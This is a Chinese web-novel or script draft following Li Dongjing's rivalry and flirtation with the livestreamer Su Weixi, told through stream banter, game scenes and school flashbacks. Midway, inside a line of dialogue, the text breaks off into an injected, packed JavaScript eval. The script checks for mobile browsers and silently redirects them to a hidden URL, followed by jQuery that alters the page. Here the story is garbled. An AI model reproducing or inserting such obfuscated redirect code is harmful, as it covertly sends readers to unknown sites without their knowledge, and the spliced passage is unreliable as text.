《她与旧时光的沉默》
（李东京的视角·除夕夜网吧重逢后）
李东京的手机屏幕亮着，显示苏未晞的直播界面——她正笑着感谢某个榜一大哥的火箭，眼角贴着的亮片在美颜滤镜下闪闪发光。
弹幕飘过：主播以前是学霸吗？
苏未晞（轻笑）：“不是哦，是逃课打游戏的坏学生～”
李东京的手指悬在键盘上，最终没发弹幕，只是默默点了订阅。
同学聚会偶闻
背景嘈杂：高中同学酒过三巡，有人突然拍桌：
“你们记得苏未晞吗？当年跟黄万千半夜翻墙去网吧，被全校通报！”
镜头晃动：李东京的酒杯顿住，啤酒泡沫溢出杯沿。
同学A（醉醺醺）
“她妈差点来学校撕她头发！说黄万千带坏她...”
同学B（冷笑）
“得了吧，后来不是她主动退学？听说现在当网红了，啧...”
李东京突然起身，椅子在地面刮出刺耳声响。
沉默离席，背后传来哄笑：“东京哥该不会还惦记她吧？”
自我说服的李东京蹲在便利店门口吃关东煮，热气模糊了他的表情。
内心OS：
“她假装不认识我...是怕我提当年的事？”（咬断鱼丸）
“还是说...”（瞥见对面商场大屏上的苏未晞广告）
“主播大人觉得我们这种人不配当她粉丝了？”
高中时苏未晞被罚站在走廊，怀里抱着《五年高考》，而教室里议论声像毒蜂般嗡嗡作响。
现在她的直播间后台，始终置顶一条未读私信：【我是李东京，你...还记得我吗？】
李东京站在她曾经的教学楼下，抬头看那扇她站过的走廊窗户。
画外音（他幻想中的苏未晞）：“你们这种人...太沉重了。”
现实：风吹起一张旧考卷，上面是苏未晞的字迹：【对不起，我必须跑得快一点】
他以为的虚荣：其实是她的生存策略
他误解的冷漠：只是她早已学会不把软肋示人
最痛的差距：他还在原地咀嚼回忆时，她已趟过浑水重生
雨夜便利店·看直播
（李东京蹲在货架间吃炒面面包，手机屏幕里苏未晞正在点评某社会新闻。她今天没唱歌，蓝毛衣袖口沾着咖啡渍。）
苏未晞（转笔）
"流浪猫绝育计划本质是人类的傲慢。"
弹幕A："圣母！"
李东京（注册小号「数据蟑螂」）
"伪善，真关心就该全部收养。"（发送）
（她突然凑近镜头，睫毛在屏幕投下栅栏状阴影。）
苏未晞
"说这话的先生…"（停顿）"抽屉里还有没拆封的猫罐头吧？"
（李东京手一抖，面包馅掉在裤子上——他确实刚捐了十箱罐头给救助站。）
（接下来三周，每当苏未晞聊这些话题，李东京就换ID抬杠：）
|议题|李东京反话|苏未晞回应|
||||
|书店倒闭潮|"纸质书早该淘汰"|"您上次买电子书批注了137处吧"|
|AI绘画|"艺术家就该饿死"|"…您画廊收藏的版画在哭哦"|
|地铁涨价|"穷鬼别坐车"|"用员工卡的人说这话？"|
（某天苏未晞突然停播，李东京在便利店狂按刷新键时，电视新闻正在报道：「网红主播协助揭露问题猫粮」）
（镜头里的她抱着化验报告，蓝毛衣换成白大褂——字幕显示她是宠物食品检测员。）
李东京（捏扁咖啡罐）
"…骗子。"
（手机突然震动，陌生号码发来化验单照片，附言：「检测费能开发票吗？数据先生」）
深夜便利店·政治话题交锋
（李东京咬着冰棍看直播，苏未晞罕见地化了妆，背景是某政治人物演讲重播。）
苏未晞（转着钢笔）
"这次选举的口号…像过期便当的包装。"
弹幕A："主播别碰政治！"
李东京（切小号「民主蟑螂」）
"键盘侠懂什么？这叫政治艺术。"（发送）
（她突然用钢笔尖戳了戳屏幕，正好对准他ID位置。）
苏未晞
"说这话的先生…"（轻笑）"连小区业委会投票都弃权吧？"
（李东京的冰棍滴在手机壳上——上周业主群记录显示他确实投了弃权票。）
[拐卖案件专题直播]
（苏未晞素颜出镜，背后白板贴满案件剪报。）
弹幕B："受害者也有责任！"
李东京（切「理性分析」）
"落后地区重男轻女是事实。"（故意激她）
（她突然沉默十秒，镜头转向桌上的陶瓷镇纸——底下压着泛黄的《妇女儿童保护法》草案。）
苏未晞
"1992年提案时…"（翻开第17条）"也有代表说''国情不同''。"
（李东京的咖啡杯突然裂了条缝——他书柜里藏着同款草案的修订笔记。）
（李东京撞见苏未晞在货架间核对猫粮成分表，两人同时去拿最后一瓶乌龙茶。）
苏未晞（松开手）
"…''民主蟑螂''先生先请？"
李东京（僵住）
"你认错人了。"（却掏出"理性分析"账号绑定的会员卡付款）
（李东京的平板逐渐堆满她的直播切片，每个视频角落都用红笔写着「？」）当网络马甲成为INFJ的情感动物园
[李东京的ID进化史]
（电脑屏幕滚动着李东京用过的所有小号：）
「数据蟑螂」（用来杠苏未晞的社会评论）
「民主蟑螂」（政治话题抬杠限定）
「区块链蟑螂」（被苏未晞怼到注销）
最新ID：「蟑螂恶霸」
（他盯着《蜘蛛侠》里的反派「蟑螂博士」剧照，键盘敲下：）
「蟑螂恶霸」："主播今天怎么不聊量子力学了？"（发送）
（她突然从抽屉拿出昆虫标本盒，镜头特写一只德国小蠊标本。）
苏未晞
"蟑螂啊…"（用镊子翻动标本）"其实会弹钢琴哦。"
弹幕："？？？"
苏未晞（播放录音）
（一段《月光奏鸣曲》，仔细听能辨出是用蟑螂爬行声采样混音的）
（李东京的咖啡杯晃出涟漪——他大学确实用虫足振动做过声音实验。）
Wolfram_Alpha突然打赏一艘镀金蟑螂飞船（平台新道具），附言：
"鞘翅目震动频率是爱情信号的128倍。"
（李东京猛地站起，撞翻脚边三箱没拆的猫罐头——和上周苏未晞在直播里提过的救助站缺货清单完全一致。）
（李东京冲到便利店买烟，却看见苏未晞正把蟑螂标本盒交给快递员，收件人：「Wolfram_Alpha」。）
李东京（捏皱烟盒）
"…你俩玩我呢？"
苏未晞（亮出快递单）
"只是给昆虫研究所寄样本。"（突然小声）"…恶霸先生。"
（快递单背面印着「量子声学学院」的LOGO——李东京的母校。）
（李东京的电脑分屏：左苏未晞直播玩金铲铲，右自己英雄联盟客户端。她蓝毛衣的袖口卡在茶杯把手里，像被禁锢的闪现键。）
苏未晞（卖血连败）
"这版本玩约德尔…得像对待流浪猫。"
弹幕："？？？"
李东京（秒锁提莫）
"种蘑菇不如直接投。"（公屏打字）
（她突然卖掉所有棋子，空城到3 1——恰巧是他游戏里送出一血的时刻。）
（李东京的提莫出卢登+杀人书，弹幕狂刷"演员"。苏未晞的金铲铲界面停在蓝BUFF+法爆的璐璐。）
李东京（切小号）
"辅助装AP是病友。"
苏未晞（秒换装备）
"那您怎么解释…"（突然亮出他三年前论坛小号发的《辅助提莫核爆流攻略》）
（两人屏幕同时卡顿——李东京的攻略发布时间，正是苏未晞注册账号那天。）
（李东京的咖啡渍在鼠标垫晕成提莫蘑菇形状，苏未晞的茶杯水痕是约德尔门轮廓。）
苏未晞（突然下播）
"去拿个外卖。"
李东京（同步关游戏）
"…断电了。"
（五分钟后，两人在便利店冰柜前相遇，手里都拿着同一款提莫头像的矿泉水。）
绝地海岛地图·决赛圈麦田
[开局·飞机舱内]
崔春晓（ID“沪上富婆”）穿粉色小恐龙皮肤，手持满配M416，冷脸标点“军事基地”。
李东京（ID“东京の犬”）穿着系统默认白背心，蹲在角落疯狂发表情包：“姐姐带我吃鸡～”
[跳伞阶段]
任景（ID“西湖公主”）开麦嘲讽：“李东京你跳伞姿势像被扔出去的流浪狗。”（镜头切到他果然脸着地摔残血）
[毒圈收缩·麦田决赛圈]
1.[镜头俯视]
李东京趴在毒圈正中央的草垛后，三级包里塞满止痛药和饮料，但一把枪都没有。
崔春晓在毒圈边缘的废弃拖拉机后，8倍镜AWM连续爆头3人，击杀公告刷屏。
2.[队友频道]
队友A：“东京哥你怎么又躺毒里了？属乌龟的？”
李东京（委屈）：“我在等有缘人……”（突然被远处狙击打中，残血倒地）
3.[特写崔春晓的屏幕]
她瞥了眼李东京的血条，鼠标在“救人”和“继续狙杀”之间犹豫。
击杀榜弹出：她目前排名第2，再杀1人就能登顶。
4.[队友起哄]
队友B（开全体麦）：“拉！拉！拉！富婆救狗啊！”
任景（冷笑）：“救了这废物KPI掉一半哦～”
5.[崔春晓最终决定]
她叹了口气，封烟翻滚过去，开始救人。
李东京（贱兮兮）：“姐姐手真软，连按F都比别人温柔～”
[赛后结算界面]
1.[队伍频道]
队友A：“东京哥，江浙沪‘得分王’名不虚传啊！”（坏笑）
队友B：“吃‘分’还是吃‘软饭’，你选一个？”
李东京（装傻）：“哎呀，运气好匹配到富婆嘛～”
2.[崔春晓私聊弹窗]
崔春晓：“下次再躺毒里等救，我就补了你。”
李东京（秒回）：“那姐姐下次带我双排，我躺你床上等救～”
上海法租界街角咖啡馆，白色阳伞投下斑驳光影。四月柳絮飘在拿铁拉花上。
任景
“诶你还记得李东京小时候学狗叫吗？（突然笑出声）我昨天刷到他夜店视频，天，对着穿渔网袜的女生跪着叼手包——敢情从小学狗叫就为这个？”
崔春晓用吸管搅动燕窝胶原蛋白饮，杯底沉淀的桃胶像凝固的血块。
崔春晓
“噗...你才发现？他ins小号关注列表清一色BDSM博主（撩头发露出耳后菲洛嘉针眼），上次在Bar Rouge还问我认不认识会绑绳结的女生...”
服务员端来马卡龙，任景突然抓住对方手腕。
任景
（对服务员）“你静脉好明显哦～”（转头对崔春晓）“李东京也这样！总盯着人手腕看，该不会真信了《暮光之城》那套吧？”
崔春晓翻白眼：“男主长得像发霉的猕猴桃”
任景补口红：“我投《夜访吸血鬼》阿汤哥一票”
两人手机屏幕同时亮起：李东京新动态——他在外滩裸奔被警车追
任景
“对了你打轮廓针是不是换医生了？下颌线比我雅思成绩还锋利～”
崔春晓
（摸脸）“Dr.Li用韩国钝针打的...你爸真让你申LSE？我导师说今年连UCL都卡list...”
任景
（晃着梵克雅宝手链）“随便啦，反正九月我要去托斯卡纳（压低声音）
深夜·李东京的廉价公寓
（电脑屏幕泛着冷光，李东京的PayPal显示「富婆陪玩收入：?5,200」，而直播间的礼物栏里，一艘金色火箭蓄势待发。）
李东京（叼着棒棒糖）
"啧，这钱够买她三分钟注意力了吧？"
（他正要点击「赠送」，屏幕突然弹出一条醒目留言——）
神秘用户「Wolfram_Alpha」："主播觉得，量子纠缠和人际关系哪个更不可控？"
苏未晞（眼睛一亮）
"终于有人问点有意思的了。"
（李东京的火箭悬停在发送界面，手指僵住。）
（李东京迅速切小号，翻看「Wolfram_Alpha」的历史弹幕：）
三天前："区块链的信任机制像现代婚姻。"
昨天："你相信算法能预测人性吗？"
五分钟前："你左耳的耳洞，是16岁打的？"
（李东京的棒棒糖"咔"地咬碎了——这问题只有柯林知道答案。）
（李东京切回主号，故意发送：）
「数据蟑螂」："量子力学？主播看得懂薛定谔方程吗？"
苏未晞（托腮）
"不如我们聊聊…"（突然直视镜头）"观测者效应？"
（李东京的呼吸一滞——这是他们第一次在便利店相遇时，他手里拿的书名。）
Wolfram_Alpha打赏了一艘银色火箭，附言：
"观测
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949887|177513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
者会改变系统，但有些变量…"（后半句被李东京突然刷屏的金色火箭雨淹没。）
李东京（疯狂连点）
"…闭嘴吧理科男。"
（苏未晞的直播间突然卡顿，画面定格在她微微上扬的嘴角。）
高中的时候女主大概是个不良少女，逃课去网吧，你必须要承认条条大路通罗马，可是有人出生就在罗马努力，也许能缩短差距，但如果差距是一个无法约的沟，那又如何呢？
2013年冬·烟雾缭绕的网吧
后门铁栅栏的锈迹刮破了苏未晞的校服裙摆，她拎着帆布鞋翻墙，落地时踩碎一片薄冰。
画外音：教导主任的吼声从教学楼传来：“高一（4）班苏未晞！又跑？！”
油腻的键盘上，她的手指悬停在F（闪现）键上，屏幕里光辉女郎的终极技能【终极闪光】正蓄力。
突然：一只粘着创可贴的手推来瓶冰可乐，瓶身水珠滴在她膝盖上。
黄万千（叼着棒棒糖）
“激光炮歪了。”（鼠标咔哒一点）
游戏画面：他的河流之王·塔姆突然闪现+W【大快朵颐】，一口吞下她的光辉女郎。
[荒诞团战]
1.镜头A（游戏内）：
光辉在塔姆肚子里颠簸6秒，眼睁睁看着自己被运过河道。
塔姆吐她出来的瞬间，她赌气乱按R键——
击杀！激光炮穿过战场边缘，精准带走残血逃生的敌方ADC。
2.镜头B（现实中）：
苏未晞的耳机滑到脖子上，瞪大眼睛看向隔壁机位。
黄万千缩在电竞椅里笑到发抖，棒棒糖棍上下晃动。
苏未晞
（踹他椅子）“你辅助还是绑架犯啊？！”
黄万千
（指着屏幕）“看聊天框。”
游戏对话框：
[所有人]敌方ADC：【？？？这光辉开挂？】
[所有人]塔姆：【我养的激光炮猫，会自己导航】
[凌晨的雪]
长镜头：两人被网吧赶出来时已凌晨1点，雪地上两串脚印一深一浅。
苏未晞（哈着白气）
“喂，你刚是不是故意吞我的？”
黄万千（把校服外套扔给她）
“你猜。”（转身跑进便利店，玻璃门上倒映着他通红的耳尖）
除夕夜·白熊与少女
时间：除夕夜2018 23:50
地点：上海老旧网吧，暖气不足，玻璃窗上结着冰花
网吧门口李东京裹着单薄的黑色羽绒服，哈出的白气在冷夜里飘散。
他抬头看了眼霓虹灯坏了一半的网吧招牌——“极速网咖”，搓了搓手，推门进去。
网管打着哈欠：“包夜50，饮料自取。”
李东京扫码付款，视线却瞟向角落——一个戴耳机、扎马尾的女生正专注地盯着屏幕，指尖在机械键盘上轻快敲打。
英雄联盟界面，ID“未晞”，正在玩ADC女枪。
他愣了一下，嘴角微微扬起，装作若无其事地走到她隔壁机位坐下。
开机，登录游戏，秒锁弗雷尔卓德之心·布隆（白熊英雄，技能可以举盾保护队友）。
左屏：苏未晞的女枪走位激进，在下路1V2。
右屏：李东京的白熊笨拙地穿过野区，直奔下路。
[关键镜头：游戏内]
苏未晞的女枪残血被追杀，李东京的白熊突然闪现进场，一个W技能（挺身而出）跳到她身前，举盾挡掉致命技能。
苏未晞愣了一下，手指微顿，但很快继续操作，拿下双杀。
[现实中的沉默]
李东京偷瞄她一眼，发现她依旧面无表情，只是轻轻咬了下嘴唇。
他收回目光，继续操作白熊跟在她身后，像个笨拙的保镖。
[午夜00:00·跨年时刻]
网吧外隐约传来烟花声，屏幕右下角时间跳转至00:00。
苏未晞突然开口，声音很轻：
“你布隆玩得还是这么菜。”
李东京手指一僵，随即笑了：
“但你女枪还是这么凶。”
[凌晨2:00·离开网吧]
两人一前一后走出网吧，雪已经停了，街道空无一人。
苏未晞戴上耳机，头也不回地往左走。
李东京站在原地，看着她的背影，突然喊了一句：
“新年快乐！”
她没有回头，只是抬起手，轻轻挥了挥。
[李东京的视角]
他低头笑了笑，呼出一口白气，转身往相反的方向走去。
2005年，□□空间“好友买卖”风靡全国
地点：某小学微机室，Windows XP系统，IE6.0浏览器
第一幕：互联网的“阶级分化”
李东京（六年级，12岁）是“校园网红”，□□好友300+，身价5000金币（全校Top 3）
苏未晞（三年级，6岁）刚学会上网，好友仅20人，身价50金币（底层劳工）
关键事件：
苏未晞的“暴富”：
某天被高年级学长“收购”，身价飙升至2000金币
系统提示：“你已成为‘黑奴’，每日工资+50金币！”
她默默攒钱一周，终于凑够1980金币
在午休微机课上，偷偷登录，搜索“李东京”
第二幕：一块钱的羞辱
操作流程：
1.买入：
点击“购买李东京”——“确认花费1980金币？”
手抖了一下，但咬牙点了“是”
2.贬值：
立刻进入“我的奴隶”列表
选择“打折出售”——输入1金币
系统提示：“李东京已以1金币挂牌！”
结果：
李东京的“身价排行榜”瞬间从第2名跌至第998名
全校论坛炸锅：“李东京只值一块钱？！”
第三幕：现实中的沉默对峙
放学路上：
李东京拦住苏未晞：“是你干的？”
苏未晞（低头玩书包带）：“…系统bug吧。”
李东京（突然笑了）：“你挺会玩啊。”
后续：
1.李东京手动把自己身价刷回5000金币
2.但从此每天“折磨奴隶”列表里多了一个人：
苏未晞被派去“挖煤”10次/天
成年后的微信群考古
（2023年，微信群“相亲相爱一家人”）
黄万千：[截图]□□空间回忆弹窗
李东京：@苏未晞你当年黑我这事怎么算？
苏未晞：（直播中语音转文字）“利息按比特币算？”
柯林：现在你俩身价差距更大——她直播间舰长都100+了